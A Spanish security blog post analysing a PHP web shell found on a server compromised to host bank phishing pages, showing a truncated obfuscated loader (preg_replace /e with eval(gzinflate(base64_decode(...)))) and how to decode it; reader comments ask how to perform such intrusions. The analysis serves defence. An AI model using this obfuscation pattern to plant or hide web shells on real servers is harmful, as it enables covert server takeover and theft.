23 ago 2013

Shell PHP y Python en servidores vulnerados (I)

Como vimos en el post sobre Phishing a MercadoPago y Banco Francés, un par de delincuentes tomaron el control de un servidor para alojar las páginas falsas de los sitios mencionados y además almacenar los datos personales y de tarjetas robados.

Ahora continuaremos analizando, los otros archivos que fueron encontrados en el servidor vulnerado, correspondiente a Shell PHP y Python.

El primero de varios archivos encontrados corresponde a una Shell PHP típica, que permite subir, descargar y modificar archivos en el servidor vulnerado, un FreeBSD en este caso:
Esta Shell no tiene nada de extraño y simplemente se puede señalar que su código está codificado y ofuscado para "evitar" su detección y análisis aunque de todos modos el archivo es detectado por algunos antivirus (18/46), motivo por el cual siempre hay que instalar un antivirus en Linux y BSD, no sólo en Windows.

A continuación procederemos a decodificar el archivo. Analizando la primera parte del mismo se ve lo siguiente:
Es fácil ver que la primera y última parte de la cadena enviada a la función "preg_replace" corresponde a código hexadecimal, por lo que procedemos a decodificarlo y pasarlo a formato string.

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2

...
...
...

toyadLX6Dl6tDg3WxVxFoHhkj6Yn/xc='\x29\x29\x29\x3B",".");

Lo que decodificado corresponde a:

65 76 61 6C 28 67 7A 69 6E 66 6C 61 74 65 28 62 61 73 65 36 34 5F 64 65 63 6F 64 65 28 --> eval(gzinflate(base64_decode(

Ahora ya sabemos que la cadena está comprimida con GZ/ZLIB y posteriormente codificada en Base64 por lo que es sencillo revertir el proceso (con gzinflate(base64_decode()) o crear una pequeña aplicación que permita obtener el código fuente original del archivo PHP.


Luego de desofuscar el código, el resultado es el siguiente:
Paradójicamente, el archivo decodificado es detectado por menos antivirus (13/46) que la versión comprimida.

Así como esta Shell PHP, el servidor contenía otra Shell Python, mucho más interesante y poderosa que analizaremos en detalle en la próxima entrega.


Cristian de la Redacción de Segu-Info

Suscríbete a nuestro Boletín

4 comentarios:

  1. Hola, me gustaría saber como hacen ese tipo de intrusión .. quizá me pueden enviar algún link para poder hacerlo !

    ResponderBorrar
  2. Creo que ya a pasado un poco de tiempo de este post, pero me gustaría leer la segunda entrada referente a esto y si hay una tercer ya seria genial. Un saludo a Cristian

    ResponderBorrar
  3. 2da parte:
    http://blog.segu-info.com.ar/2013/08/shell-python-weevely-en-servidores.html

    Cristian

    ResponderBorrar
  4. buena disculpe i otra forma de poder bajar el shell php porq es raro buscarlo donde tenerlo

    ResponderBorrar

Gracias por dejar un comentario en Segu-Info.

Gracias por comentar!